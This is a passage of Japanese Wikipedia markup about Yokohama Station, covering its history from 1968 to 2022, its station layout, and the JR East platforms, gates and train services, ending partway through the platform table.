* [[1968年]](昭和43年)[[8月31日]]:[[横浜市電]]の横浜駅西口電停が廃止。
* [[1970年]](昭和45年)[[4月5日]]:旅行センター開業<ref>交通年鑑昭和46年度内「交通日誌」</ref>。
* [[1971年]](昭和46年)
** [[3月20日]]:横浜市電の横浜駅前電停が廃止。
** [[8月1日]]:新相鉄ビルの一部として、現在の相模鉄道横浜駅の駅舎が完成。相模鉄道横浜駅の改札口・プラットホームを、新駅舎に合わせて西口の髙島屋付近(現:[[相鉄ジョイナス]]の自由通路入口)から相鉄口(現:みなみ西口)まで約330m後退<ref>{{Cite journal|和書 |author=山田亮 |title=1970年前後の相鉄横浜駅 |journal=[[鉄道ピクトリアル]]臨時増刊号 |issue=672 |pages=70 - 71 |year=1999 |month=7 |publisher=電気車研究会}}</ref>。
* [[1972年]](昭和47年)[[3月31日]]:横浜市営トロリーバス廃止<ref name="1994Kiho"/>。
* [[1974年]](昭和49年)
** [[2月8日]]:相鉄本線ホームの改築工事が完成し、地上2階の4面3線となる。
** [[5月26日]]:京急本線ホームが変則相対式2面2線から島式1面2線に変更。
* [[1976年]](昭和51年)[[9月4日]]:[[横浜市営地下鉄|横浜市高速鉄道]]3号線([[横浜市営地下鉄ブルーライン]])が開通<ref name="1994Kiho"/>。
* [[1980年]](昭和55年)
** [[10月1日]]:SM分離(東海道線と横須賀線の分離化)により、横須賀線は現在の東海道線ホームから新たに設置されたホームに乗り入れる。
** [[11月7日]]:東口新駅舎・東西自由通路が使用を開始<ref group="新聞" name="交通1980-11">{{Cite news |和書 |title=横浜駅の東西連絡通路 きょうオープン |newspaper=[[交通新聞]] |date=1980-11-07 |publisher=交通協力会 |page=1 }}</ref>。
* [[1981年]](昭和56年)[[12月21日]]:国鉄によるクリーントイレ作戦に基づく[[壁画]]トイレの第一号作品が国鉄駅に設置される。トイレ壁画デザイナー[[松永はつ子]]の作品。
* [[1985年]](昭和60年)[[3月14日]]:横浜市営地下鉄3号線の当駅 - [[新横浜駅]]が延伸開業、中間駅となる<ref name="1994Kiho" />。
* [[1986年]](昭和61年)[[11月1日]]:国鉄駅での[[チッキ|荷物]]取り扱いを廃止。
* [[1987年]](昭和62年)[[4月1日]]:[[国鉄分割民営化]]により、国鉄の駅は[[東日本旅客鉄道|JR東日本]]の駅となる<ref name="1994Kiho"/>。
* [[1992年]]([[平成]]4年)[[3月7日]]:JR東日本の駅に自動改札機を設置し、使用を開始する<ref>{{Cite book|和書 |date=1992-07-01 |title=JR気動車客車編成表 '92年版 |chapter=JR年表 |page=182 |publisher=ジェー・アール・アール |ISBN=4-88283-113-9}}</ref>。
* [[1995年]](平成7年)[[4月19日]]:[[横浜駅異臭事件]]が発生。
* [[1999年]](平成11年):[[関東の駅百選]]に選定。
** [[2月27日]]:相鉄のダイヤ改正により運転を開始した[[相鉄本線|快速]]の停車駅に設定される。
** [[7月31日]]:京急の[[京浜急行電鉄のダイヤ改正#1999年7月31日改正|白紙ダイヤ改正]]による[[京急蒲田駅]] - [[逗子・葉山駅|新逗子駅]]の急行を廃止。
** 京急の発車標は、ブラウン式から反転フラップ式になる。
* [[2001年]](平成13年)
** 5月:相鉄本線ホームに転落防止用の柵を設置<ref group="新聞">{{Cite news |和書|title=相鉄横浜駅のホーム柵完成 |newspaper=交通新聞 |publisher=交通新聞社 |date=2001-05-11 |page=1 }}</ref> 。
** [[11月18日]]:JR東日本で[[ICカード]]「[[Suica]]」の利用が可能となる。
* [[2002年]](平成14年):横浜市営地下鉄で[[駅ナンバリング]]を使用開始。
* [[2004年]](平成16年)
** [[1月30日]]:東急東横線の当駅 - 桜木町駅が、この日の終電をもって営業終了<ref group="東急" name="Abolition">{{Cite press release|和書|url=https://www.tokyu.co.jp/file/030130.pdf|archiveurl=https://web.archive.org/web/20150414235412/http://www.tokyu.co.jp/file/030130.pdf|format=PDF|language=日本語|title=東横線とみなとみらい21線との相互直通運転開始に伴う東横線横浜〜桜木町間の廃止について|publisher=東京急行電鉄|date=2003-01-30|accessdate=2020-05-01|archivedate=2015-04-14}}</ref>。同時に同線高架ホームの使用もこの日をもって停止。
** [[1月31日]]:東急東横線のりばを地下化。きた通路・みなみ通路の使用を開始。東西自由通路を「中央通路」に名称変更。
** [[2月1日]]:[[横浜高速鉄道みなとみらい線]]が開通し、東急東横線との相互直通運転を開始<ref group="東急">{{Cite press release|和書|url=https://www.tokyu.co.jp/file/031127-1.pdf|archiveurl=https://web.archive.org/web/20150414235310/http://www.tokyu.co.jp/file/031127-1.pdf|format=PDF|language=日本語|title=みなとみらい線との相互直通運転開始に伴い2004年2月1日(日)、東横線のダイヤを改正します 渋谷〜横浜間の所要時間がさらに短縮、最短26分に|publisher=東京急行電鉄|date=2003-11-27|accessdate=2020-05-01|archivedate=2015-04-14}}</ref><ref group="東急" name="press20030709">{{Cite press release|和書|url=https://www.tokyu.co.jp/file/030709.pdf|archiveurl=https://web.archive.org/web/20201217054958/https://www.tokyu.co.jp/file/030709.pdf|format=PDF|language=日本語|title=みなとみらい21線の開業日・東急東横線との相互直通運転の開始日が決まりました!|publisher=横浜高速鉄道/東京急行電鉄|date=2003-07-09|accessdate=2021-01-15|archivedate=2020-12-17}}</ref>。
* [[2006年]](平成18年)[[7月22日]]:京急本線ホームが島式1面2線から変則相対式2面2線に変更。32年ぶりに上下方向別単式2面2線の構造に戻る。それに従い、スレッドラインを設置した。
* [[2007年]](平成19年)
** [[3月18日]]:京急・相鉄・ブルーライン・東急・みなとみらい線でICカード「[[PASMO]]」の利用が可能となる。
** [[4月28日]]:横浜市営地下鉄で[[ホームドア]]の使用を開始。
* [[2008年]](平成20年)[[12月23日]]:京急本線のホームに[[接近メロディ]]を導入。「[[ブルー・ライト・ヨコハマ]]」が採用される。
* [[2010年]](平成22年)
** [[4月25日]]:横須賀線、湘南新宿ラインホーム(9・10番線)の拡幅工事完了。
** [[5月16日]]:京急の[[京浜急行電鉄のダイヤ改正#2010年|ダイヤ改正]]により運転を開始した[[京急本線#エアポート急行|エアポート急行]]の停車駅に設定される。
** [[10月21日]]:京急で駅ナンバリングを使用開始。
* [[2012年]](平成24年)[[5月1日]]:横浜市営地下鉄で[[Docomo Wi-Fi]]による、[[公衆無線LAN]]サービス開始。
* [[2014年]](平成26年)
** 相鉄で駅ナンバリングを使用開始。
** [[4月27日]]:相鉄のダイヤ改正により運転を開始した[[相鉄本線#特急|特急]]の停車駅に設定される。
** 京急の反転フラップ2代目で初めて廃止。LED式に変わった。
* [[2015年]](平成27年)
** [[3月7日]]:東急東横線・みなとみらい線ホームでホームドアの使用開始<ref name="2015-03-08" />。
** [[5月21日]]:京急の副駅名に'''[[そごう横浜店|そごう]]・[[横浜ポルタ|ポルタ]]前'''が追加。
** [[7月18日]]:横浜市営地下鉄のダイヤ改正により運転を開始した快速の停車駅に設定される。
* [[2016年]](平成28年)
** [[3月6日]]:相鉄3番線でホームドアの使用を開始<ref group="相鉄" name="sotetsu_psd3"/><ref name="2016-03-07"/>。
** [[12月20日]]:相鉄2番線でホームドアの使用を開始<ref group="相鉄" name="sotetsu_psd2"/>。
* [[2017年]](平成29年)[[2月21日]]:相鉄1番線でホームドアの使用を開始<ref group="相鉄" name="sotetsu_psd1"/>。
* [[2018年]](平成30年)3月6日:中央通路と西口地下「[[相鉄ジョイナス|ジョイナス]]」との間の地下通路が暫定開通。
* [[2019年]]([[令和]]元年)
** [[7月21日]]:横浜駅西口開発ビル・駅前棟(現 [[JR横浜タワー]])1階通路部分「アトリウム」の使用開始<ref>{{Cite news |title=横浜駅西口はどう変わる? 神奈川のサグラダ・ファミリアの現状は? |newspaper=はまれぽ.com |date=2019-08-26 |url=https://hamarepo.com/story.php?story_id=7313 |accessdate=2020-01-24}}</ref>。
** [[9月19日]]:京急線1・2番線でホームドアの使用を開始<ref group="京急" name="keikyu/201991912">{{Cite web|和書|url=https://www.keikyu.co.jp/report/2019/201991912.html|archiveurl=https://web.archive.org/web/20201209094640/https://www.keikyu.co.jp/report/2019/201991912.html|title=お知らせ 2019年9月19日(木)始発より横浜駅1・2番線のホームドアの運用を開始いたします|date=2019-09-13|archivedate=2020-12-09|accessdate=2020-12-09|publisher=京浜急行電鉄|language=日本語}}</ref>。その前をもって、スレッドラインを廃止。
** [[11月13日]]:京浜東北・根岸線ホーム(3・4番線)でホームドアの使用を開始<ref group="JR東" name="jkjyplatformdoor">{{Cite press release|和書|url=http://www.jreast.co.jp/press/2019/20190926_yokohama_1.pdf|title=横浜駅 京浜東北・根岸線ホームのホームドア使用開始日について|format=PDF|publisher=東日本旅客鉄道株式会社横浜支社|date=2019-09-26|accessdate=2019-10-09|archiveurl=https://web.archive.org/web/20191009073809/https://www.jreast.co.jp/press/2019/20190926_yokohama_1.pdf|archivedate=2019-10-09}}</ref>。
** [[12月7日]]:中央通路と西口地下「ジョイナス」を繋ぐ地下連絡通路が開通<ref group="JR東">{{Cite press release|和書|url=http://www.jreast.co.jp/press/2019/yokohama/20191119_y01.pdf|title=JR横浜駅の西口新設地下連絡通路が開通します!|format=PDF|publisher=東日本旅客鉄道横浜支社|date=2019-11-19|accessdate=2019-11-19|archiveurl=https://web.archive.org/web/20191119052815/https://www.jreast.co.jp/press/2019/yokohama/20191119_y01.pdf|archivedate=2019-11-19}}</ref><ref group="相鉄">{{Cite press release|和書|url=https://www.sotetsu.co.jp/media/2019/pressrelease/pdf/r19-128-xun.pdf|title=相鉄ジョイナス地下1階と横浜駅中央通路をつなぐ横浜駅西口新設地下連絡通路が開通します 12月7日(土)から|format=PDF|publisher=相鉄アーバンクリエイツ、相鉄ビルマネジメント|date=2019-11-26|accessdate=2020-12-11|archiveurl=https://web.archive.org/web/20201207150014/https://www.sotetsu.co.jp/media/2019/pressrelease/pdf/r19-128-xun.pdf|archivedate=2020-12-07}}</ref>。
* [[2020年]](令和2年)
** [[6月18日]]:[[JR横浜タワー]]に併設する商業施設「[[CIAL横浜]]」が開業<ref group="JR東" name="press/20200608_y01">{{Cite press release|和書|url=https://www.jreast.co.jp/press/2020/yokohama/20200608_y01.pdf|title=JR横浜タワー・JR横浜鶴屋町ビル 開業日のお知らせ|format=PDF|publisher=東日本旅客鉄道横浜支社|date=2020-06-08|accessdate=2020-06-08|archiveurl=https://web.archive.org/web/20200608070528/https://www.jreast.co.jp/press/2020/yokohama/20200608_y01.pdf|archivedate=2020-06-08}}</ref>{{Refnest|group="注"|name="jr-yokohamatower-covid-19"|当初は2020年5月30日の開業が予定されていた<ref group="JR東" name="press/20200123_y01">{{Cite press release|和書|url=https://www.jreast.co.jp/press/2019/yokohama/20200123_y01.pdf|title=JR横浜駅直結 JR横浜タワーが2020年5月30日(土)開業 〜JR横浜鶴屋町ビルは、6月5日(金)に開業〜|format=PDF|publisher=東日本旅客鉄道横浜支社|date=2020-01-23|accessdate=2020-01-23|archiveurl=https://web.archive.org/web/20200123060813/https://www.jreast.co.jp/press/2019/yokohama/20200123_y01.pdf|archivedate=2020-01-23}}</ref> が、[[新型コロナウイルス感染症 (2019年)|新型コロナウイルス感染症(COVID-19)]]拡大に伴う国の[[緊急事態宣言及びまん延防止等重点措置|緊急事態宣言]]が発令されたことを受けて、同施設の開業が延期された。ただし同ビルのオフィスフロアについては4月に先行開業している<ref group="JR東" name="press/20200513_y01">{{Cite press release|和書|url=https://www.jreast.co.jp/press/2020/yokohama/20200513_y01.pdf|title=JR横浜タワー・JR横浜鶴屋町ビル 開業延期のお知らせ|format=PDF|publisher=東日本旅客鉄道横浜支社|date=2020-05-13|accessdate=2020-05-14|archiveurl=https://web.archive.org/web/20200514045607/https://www.jreast.co.jp/press/2020/yokohama/20200513_y01.pdf|archivedate=2020-05-14}}</ref><ref group="JR東" name="press/20200608_y01" />。}}。JR横浜タワーと[[JR横浜タワー#JR横浜鶴屋町ビル|JR横浜鶴屋町ビル]]を結ぶ歩行者デッキ「[[JR横浜タワー#はまレールウォーク|はまレールウォーク]]」が開通<ref group="JR東" name="press/20200608_y01" />。
** [[6月24日]]:JR横浜タワーに併設する商業施設「[[NEWoMan]]横浜」<ref group="JR東">{{Cite press release|和書|url=https://www.lumine.ne.jp/newsrelease/pdf/release_200608.pdf|archiveurl=https://web.archive.org/web/20210112131651/https://www.lumine.ne.jp/newsrelease/pdf/release_200608.pdf|format=PDF|language=日本語|title=「ニュウマン横浜」開業日決定のお知らせ|publisher=ルミネ|date=2020-06-08|accessdate=2021-01-12|archivedate=2021-01-12}}</ref>、[[シネマコンプレックス|エンタテインメント・コンプレックス]]「[[ティ・ジョイ|T・ジョイ]]横浜」、ワークスペース「STATION SWITCH」<ref group="JR東" name="press/20200630_ho02" />が開業<ref group="JR東" name="press/20200608_y01" /><ref group="注" name="jr-yokohamatower-covid-19" />{{Refnest|group="注"|name="station-work"|このうち、ワークスペース「STATION SWITCH」は、2020年7月1日より、一部の座席を「STATION WORK」として利用できるようになった<ref group="JR東" name="press/20200630_ho02">{{Cite press release|和書|url=https://www.jreast.co.jp/press/2020/20200630_ho02.pdf|title=駅ナカシェアオフィス「STATION WORK」が横浜駅・川口駅へ拡大 〜全18箇所のネットワークへ拡がります〜|format=PDF|publisher=東日本旅客鉄道|date=2020-06-30|accessdate=2020-06-30|archiveurl=https://web.archive.org/web/20200630052501/https://www.jreast.co.jp/press/2020/20200630_ho02.pdf|archivedate=2020-06-30}}</ref>。}}。
** [[6月27日]]:JR横浜鶴屋町ビルに併設する商業施設「CIAL横浜 ANNEX」、ホテル「[[JR東日本ホテルメッツ]] 横浜」が開業<ref group="JR東" name="press/20200608_y01" />{{Refnest|group="注"|当初は2020年6月5日の開業が予定されていた<ref group="JR東" name="press/20200123_y01" />が、新型コロナウイルス感染症(COVID-19)拡大に伴う国の緊急事態宣言が発令されたことを受けて、同施設の開業が延期された<ref group="JR東" name="press/20200513_y01" /><ref group="JR東" name="press/20200608_y01" />。}}。
** [[8月7日]]:JR横浜鶴屋町ビルに併設する[[フィットネスクラブ]]「[[ジェイアール東日本スポーツ#フィットネスクラブ|ジェクサー・フィットネス&スパ]] 横浜」が開業<ref group="JR東" name="press/20200608_y01" />{{Refnest|group="注"|当初は2020年6月17日の開業が予定されていた<ref group="JR東" name="press/20200123_y01" />が、新型コロナウイルス感染症(COVID-19)拡大に伴う国の緊急事態宣言が発令されたことを受けて、同施設の開業が延期された<ref group="JR東" name="press/20200513_y01" /><ref group="JR東" name="press/20200608_y01" />。}}。
** [[8月10日]]:JR東日本の中央南改札と南改札を結ぶ改札内通路およびエレベーター、待合広場「SOUTH COURT」が供用開始<ref group="JR東" name="press/20200717_y01">{{Cite press release|和書|url=https://www.jreast.co.jp/press/2020/yokohama/20200717_y01.pdf|title=JR横浜駅中央南改札と南改札をつなぐ新たな改札内エリアが2020年8月10日(月・祝)に誕生します!|format=PDF|publisher=東日本旅客鉄道横浜支社|date=2020-07-17|accessdate=2020-07-17|archiveurl=https://web.archive.org/web/20200717141600/https://www.jreast.co.jp/press/2020/yokohama/20200717_y01.pdf|archivedate=2020-07-17}}</ref>。[[駅ナカ|エキナカ]]商業空間「エキュートエディション横浜」が開業<ref group="JR東" name="press/20200717_y01" /><ref group="JR東" name="retail20200709">{{Cite press release|和書|url=https://corp.j-retail.jp/lib/pdf/press_release/9-61-966/200709_ecutenews26.pdf|archiveurl=https://web.archive.org/web/20200709110147/https://corp.j-retail.jp/lib/pdf/press_release/9-61-966/200709_ecutenews26.pdf|format=PDF|language=日本語|title=首都圏エリアの新規開業エキナカ商業空間 開業日・出店ショップ決定のお知らせ|publisher=JR東日本リテールネット|date=2020-07-09|accessdate=2020-07-09|pages=2 - 3|archivedate=2020-07-09}}</ref>。駅ナカシェアオフィス「STATION DESK」が利用可能となる<ref group="JR東" name="press/20200717_y01" /><ref group="JR東" name="retail20200709" /><ref group="JR東" name="press/20200727_ho01">{{Cite press release|和書|url=https://www.jreast.co.jp/press/2020/20200727_ho01.pdf|title=横浜駅の駅ナカシェアオフィス「STATION DESK 横浜」8月10日 (月)開業 〜バリアフリー対応席を含む、全席個室タイプのハイセキュリティ空間〜|format=PDF|publisher=東日本旅客鉄道|date=2020-07-27|accessdate=2020-07-27|archiveurl=https://web.archive.org/web/20200727073452/https://www.jreast.co.jp/press/2020/20200727_ho01.pdf|archivedate=2020-07-27}}</ref>。
* [[2022年]](令和4年)[[3月1日]]:駅たびコンシェルジュが開業<ref group="JR東">{{Cite press release|和書|url=https://www.jreast.co.jp/press/2021/yokohama/20220121_y1.pdf|title=「JR東日本 駅たびコンシェルジュ横浜」開業について|format=PDF|publisher=東日本旅客鉄道横浜支社/びゅうトラベルサービス|date=2022-01-21|accessdate=2022-07-28|archiveurl=https://web.archive.org/web/20220728133929/https://www.jreast.co.jp/press/2021/yokohama/20220121_y1.pdf|archivedate=2022-07-28}}</ref>。
<gallery widths="150" heights="100px">
Yokohama Zissoku-zu.jpg|下側中央の「停車場」が初代横浜駅。堰堤の中央付近(高島五丁目から八丁目)が、現在の東口駅前([[1881年]])
First steam train leaving Yokohama.jpg|高島町の堰堤(現在の横浜駅付近)を走る蒸気機関車([[歌川国貞 (3代目)|梅堂国政]]「横浜鉄道蒸気出車之図」、1872年)
First Yokohama Station 1872.jpg|初代横浜駅(現桜木町駅、1872年開業)
Yokohama_Station_1872.jpg|初代横浜駅の全景
Yokohama Station 2nd.jpg|2代目横浜駅
Yokohama Station 1900s.jpg|2代目横浜駅の京浜線プラットホーム
Theosakamainichi-earthquakepictorialedition-1923-b2-page27.jpg|関東大震災で被災した2代目横浜駅
Yokohama Station circa 1930.JPG|3代目横浜駅東口(1928年竣工)
Occupied japan 15.png|連合国軍占領下の横浜駅(1946-47年頃)
Yokohama Station from above.jpg|駅全景(2005年10月)
</gallery>
== 駅構造 ==
ホームは多くが南北方向に伸びており、地上は東寄り([[東京湾]]側)から京急線とJR線のホームが並ぶ。相鉄線と横浜市営地下鉄線はこれらの路線の南西側(みなみ西口付近)にホームがあり、相鉄線はJR線の脇、地上2階に南方向へホームが伸び、横浜市営地下鉄は南寄り地下3階(改札は地下2階)に概ね東西方向へホームが伸びる。かつては東急線もJR線脇の地上2階部分に並行して高架ホームがあったが、みなとみらい線との[[直通運転|相互直通運転]]開始を機に地下5階(改札は地下3階)へ移転した。
地下1階部分では、[[通路#自由通路|自由連絡通路]]「きた通路」「中央通路」「みなみ通路」が東西に貫き、「きた東口(A・B・C)」「きた西口」「中央東口」「中央西口」「みなみ東口」「みなみ西口」の6か所の出口がある。地下2階部分の東急線・みなとみらい線ホーム上に南北自由通路があり、これらの通路を結んでいる。
=== JR東日本 ===
{{駅情報
|社色 = #008000
|文字色 =
|駅名 = JR 横浜駅
|画像 = JR Yokohama Station North Gates.jpg
|pxl = 300
|画像説明 = きた通路のJR線北改札(2019年6月)
|よみがな = よこはま
|ローマ字 = Yokohama<br /> {{駅番号s|black|#ffffff|YHM}}<!--スリーレターコード-->
|電報略号 = ハマ{{要出典|date=2013年9月}}
|所属事業者 = [[東日本旅客鉄道]](JR東日本)
|所在地 = [[横浜市]][[西区 (横浜市)|西区]][[高島 (横浜市)|高島]]二丁目16-1
|座標 = {{coord|35|27|58|N|139|37|21|E|region:JP-14_type:railwaystation|display=inline,title|name=JR 横浜駅}}
|開業年月日 = {{Nowrap|[[1915年]]([[大正]]4年)[[8月15日]]}}
|駅構造 = [[地上駅]]
|ホーム = 4面8線
|乗車人員 = 340,536
|統計年度 = 2022年
|乗入路線数 = 5
|所属路線1 = {{color|#f68b1e|■}}[[東海道線 (JR東日本)|東海道線]]{{Refnest|group="*"|name="tokaido"|いずれも線路名称上は[[東海道本線]]。}}
|前の駅1 = JT 04 [[川崎駅|川崎]]
|駅間A1 = 10.6
|駅間B1 = 12.1
|次の駅1 = [[戸塚駅|戸塚]] JT 06
|駅番号1 = {{駅番号r|JT|05|#f68b1e|1}}
|キロ程1 = 28.8
|起点駅1 = [[東京駅|東京]]
|所属路線2 = {{color|#0067c0|■}}[[横須賀・総武快速線|横須賀線]]<ref group="*" name="tokaido" /><br />{{color|#f68b1e|■}}{{color|#0067c0|■}}[[湘南新宿ライン]]<ref group="*" name="tokaido" />
|前の駅2 = JO 14 JS 14 [[新川崎駅|新川崎]]
|駅間A2 = 12.2
|駅間B2 = 3.0
|次の駅2 = [[保土ケ谷駅|保土ケ谷]] JO 12 JS 12
|駅番号2 = {{駅番号r|JO|13|#0067c0|1}} {{駅番号r|JS|13|#e21f26|1}}
|キロ程2 = 東京から[[品鶴線]]経由で31.7
|所属路線3 = {{color|#00b2e5|■}}[[京浜東北・根岸線]]<br />({{color|#7fc342|■}}[[横浜線]]直通含む)
|前の駅3 = JK 13 JH 13 {{Refnest|group="*"|name="direct"|東神奈川方面が京浜東北線、桜木町方面が根岸線。両線で直通運転を行う。}}[[東神奈川駅|東神奈川]]
|駅間A3 = 1.8
|駅間B3 = 2.0
|次の駅3 = [[桜木町駅|桜木町]]<ref group="*" name="direct" /> JK 11
|駅番号3 = {{駅番号r|JK|12|#00b2e5|1}}
|キロ程3 = 0.0 km(横浜起点)<br />[[大宮駅 (埼玉県)|大宮]]から59.1 km<br />[[八王子駅|八王子]]から44.4
|備考 = {{Plainlist|
* [[日本の鉄道駅#直営駅|直営駅]]([[ 日本の鉄道駅#管理駅|管理駅]])
* [[みどりの窓口]] 有
* [[File:JR area HAMA.png|15px|浜]] [[特定都区市内|横浜市内]]駅(中心駅)}}
|備考全幅 = {{Reflist|group="*"}}
}}
島式ホーム4面8線を有する[[地上駅]]で、のりばの番号は京急からの通し番号になっている。京浜東北・根岸線と横須賀線・湘南新宿ラインのホームはそれぞれ1面2線、東海道線は2面4線を使用する。ホームの[[有効長]]は京浜東北・根岸線が10両分、他は15両分である。線路は多くが[[停車場#本線|主本線]]だが、東海道線の5・8番線のみ[[停車場#本線|副本線]](待避線)となっている。
東海道線の待避線では優等列車の待避が行われるほか、平日朝ラッシュ時は上り普通列車が7・8番線を[[停車 (鉄道)#相互発着|交互に発着]]している{{Refnest|group="注"|2021年(令和3年)3月改正時点では1826E(6時51分発)から1846E(9時09分発)までの列車が交互発着となる<ref>{{Cite web|和書|url= https://www.jreast-timetable.jp/2103/train/130/131491.html|title= JR東日本:駅の時刻表|accessdate=2020-03-15}}</ref>。}}。2004年10月16日に湘南新宿ラインが増発される以前は夕刻ラッシュ時に当駅始発の下り列車が設定されており、上りホームの7番線から発車していた。2021年3月13日より5番線を使用する営業列車は日中時間帯および夕ラッシュ以降(平日のみ)に平日16本・土休日7本、8番線を使用する営業列車は平日が朝ラッシュ時の交互発着および14時52分発普通宇都宮行き(1880E)の合計17本、土休日は先述の1580Eの1本となっている<ref group="注">下り列車については、特急「踊り子」「サフィール踊り子」および特急「湘南」の先を走っている普通列車の多くが当駅5番線にて待避を行う。また上り方面については、朝に4本設定されている旅客線経由の特急「湘南」の待避を当駅にて行う(平日のみ)。2020年ダイヤ改正以前は日中時間帯に上り「踊り子」「スーパービュー踊り子」の待避を当駅にて行っていたが、2021年現在は前述の1880Eが臨時「踊り子54号」(繁忙期のみ運行)の待避を行うのみとなっている。</ref>。
[[改札]]は、中央通路に面して2か所(中央北改札・中央南改札)ときた・みなみ両通路に面してそれぞれ1か所(北改札・南改札)の計4か所があり、改札ごとに階段などが分かれている。中央北改札付近に京急との連絡改札が設置されている。2004年1月30日までは北側の跨線橋上に京急と、中央北改札内に東急との連絡改札があった。東急との連絡改札は最後まで有人改札だったため、[[Suica]]導入後は簡易改札機が設置された。南改札は当初、京浜東北・根岸線と東海道下り線の間付近に設置されていたが、2009年12月20日から東海道上り線と横須賀線の間付近に移設された。[[みどりの窓口]]は中央通路に設置されている。かつてはみなみ通路にみどりの窓口が設置されていたが南改札の移設時に閉鎖され、代わりに指定券券売機が2台設置された。当駅はインターネット予約の受取りは[[えきねっと]]のみ可能。2020年8月10日には、中央南改札と南改札を結ぶ改札内通路および待合広場「SOUTH COURT」が供用開始された<ref group="JR東" name="press/20200717_y01" />。また、翌2021年3月22日より、「SOUTH COURT」内にて[[ストリートピアノ|駅ピアノ]]が設置された<ref group="JR東">{{Cite press release|和書|url=https://www.jreast.co.jp/press/2020/yokohama/20210319_y2.pdf|title=横浜駅に「駅ピアノ」を設置します|format=PDF|publisher=東日本旅客鉄道横浜支社|date=2021-03-19|accessdate=2021-03-20|archiveurl=https://web.archive.org/web/20210319154521/https://www.jreast.co.jp/press/2020/yokohama/20210319_y2.pdf|archivedate=2021-03-19}}</ref>。
[[日本の鉄道駅#直営駅|直営駅]]であり[[日本の鉄道駅#管理駅|管理駅]]として[[保土ケ谷駅]]を管理している。
[[エレベーター]]はホームと中央北改札コンコースを結ぶものが各1台、[[エスカレーター]]は中央北改札と7・8番線(上り)および9・10番線(両方向)、きた通路北改札と各ホーム(片方向)、中央南改札と3・4番線(下り)および5 - 10番線(上り)がある。中央南改札と9・10番線を結ぶエスカレーター(上り)は、横須賀線ホーム拡幅(後述)後、[[2010年]]12月23日に新設されたものである。中央北改札と9・10番線を結ぶエスカレーター(両方向)は従来の階段をつぶして設置されたため、階段がなくエスカレーターのみとなっていたが、こちらも横須賀線ホーム拡幅(後述)後、エスカレーターの西側に階段が新設された。2020年8月10日には、中央南改札および北改札コンコースと各ホームを結ぶエレベーターが供用開始された<ref group="JR東" name="press/20200717_y01" />。
横浜線の電車が日中1時間に6本(快速3本・各駅停車3本)が当駅3・4番線を経由して隣の桜木町駅まで乗り入れているが、朝時間帯は横浜線全体の1/3程度の列車が直通、夜間帯は毎時1-3本程度が直通する桜木町/磯子/大船(大船行きは朝のみ)発着列車を除いて[[東神奈川駅]]始発・終着となっており、京浜東北線に乗車して同駅での乗り換えが必要となるケースもある<ref name="jikokuhyou" />。横浜線直通電車(橋本・八王子行)の場合、案内看板が点灯するほか、駅員の肉声放送も流れるようにしている。かつては土曜休日(一部を除く)に横浜線と[[中央本線]]を経由して当駅始発・終着で[[松本駅]]を結ぶ臨時特急「[[かいじ (列車)|はまかいじ]]」号が運転されていたが<ref name="jikokuhyou" />、[[ホームドア]]設置に伴い2019年1月をもって廃止(運行休止)された。そのホームドアは同年11月に稼働した<ref group="JR東" name="jkjyplatformdoor"/>。
各ホームとも乗降客が多く見通しも悪いため、終日に渡って立番が配置され、乗降終了合図を出している。5・6番線と9・10番線は立番駅員が発車メロディを扱う。
かつては上りの[[寝台列車]]が大幅に遅延した際、朝ラッシュ時の通勤輸送への影響を避けるため小田原(当駅の代替として臨時停車) - 品川間で[[東海道貨物線]]を走行し、当駅を経由しない場合もあった。
1980年9月30日までは現在の横須賀線ホームがなく、横須賀線電車も東海道線ホームに発着し、東京 - 大船間は東海道線と同様に川崎経由で運転されていた。
2010年10月1日より当駅南口に遺失物管理センター([[JR東日本ステーションサービス]]に委託)を開設し、従来、改札・出札・ホームの各部署で対応していた遺失物の取り扱い業務を当センターへ集約した。当駅発行の定期券については従来通り出札で管理している。
2021年時点のダイヤで当駅を通過する旅客列車は東海道線の特急「湘南」のみである(一部の列車は貨物線経由で運行されるため当駅を経由しない)<ref group="JR東">{{Cite press release|和書|url=https://www.jreast.co.jp/press/2020/yokohama/20201218_y01.pdf|title=2021年3月ダイヤ改正について|format=PDF|publisher=東日本旅客鉄道横浜支社|date=2020-12-18|accessdate=2021-03-20|archiveurl=https://web.archive.org/web/20201218151644/https://www.jreast.co.jp/press/2020/yokohama/20201218_y01.pdf|archivedate=2020-12-18}}</ref>。2021年以前は特急「湘南」の前身である「湘南ライナー」および夜間の下り通勤快速が通過していたほか、1961年10月1日当時、下り準急「おくいず」と準急「はつしま」が当駅を通過し、東京駅 - 小田原駅間ノンストップで運転されていた。なお、上りの「おくいず」「はつしま」は当駅に停車した。
なお、東京都心と湘南地区間の通勤客のみを分離することを目的とした上記列車(「湘南」、「湘南ライナー」、通勤快速)を除き、国鉄時代から東海道線の昼行特急(東海道新幹線開業前の東京発大阪・西日本方面への最速達の特急列車も含む)や寝台特急は基本的に全列車が停車している<ref group="注">この点、1964年の東海道新幹線開業時点は「ひかり」が全列車通過し、2008年に全列車停車駅となるまで「のぞみ」「ひかり」の通過列車が存在していた[[新横浜駅]]とは対照的である。</ref>。
==== のりば ====
<!--方面表記は、JR東日本の「駅構内図」の記載に準拠-->
{| class="wikitable"
!番線<!-- 事業者側による呼称 -->!!路線!!方向!!行先!!備考
|-
!3
|[[File:JR JK line symbol.svg|15px|JK]] 根岸線
|style="text-align:center;"|下り
|[[桜木町駅|桜木町]]・[[磯子駅|磯子]]・[[大船駅|大船]]方面
|rowspan="3"|[[ホームドア]]設置
|-
!rowspan="2"|4
|[[File:JR JK line symbol.svg|15px|JK]] 京浜東北線
|style="text-align:center;"|北行
|[[東京駅|東京]]・[[上野駅|上野]]・[[大宮駅 (埼玉県)|大宮]]方面
|-
|[[File:JR JH line symbol.svg|15px|JH]] 横浜線
|style="text-align:center;"|下り
|[[新横浜駅|新横浜]]・[[町田駅|町田]]・[[八王子駅|八王子]]方面
|-
!5
|rowspan="2"|[[File:JR JT line symbol.svg|15px|JT]] 東海道線
|rowspan="2" style="text-align:center;"|下り
|rowspan="2"|[[小田原駅|小田原]]・[[熱海駅|熱海]]・[[伊東駅|伊東]]方面
|rowspan="2"|主に6番線
|-
!6
|-
!7
|rowspan="2"|[[File:JR JT line symbol.svg|15px|JT]] 東海道線([[上野東京ライン]])
|rowspan="2" style="text-align:center;"|上り
|rowspan="2"|[[川崎駅|川崎]]・[[品川駅|品川]]・東京・上野・大宮方面
|rowspan="2"|朝ラッシュ時は交互発着・それ以外の時間は7番線
|-
!8
|-
!rowspan="2"|9
|[[File:JR JO line symbol.svg|15px|JO]] 横須賀線
|style="text-align:center;"|下り
|[[保土ケ谷駅|保土ケ谷]]・[[鎌倉駅|鎌倉]]・[[久里浜駅|久里浜]]方面
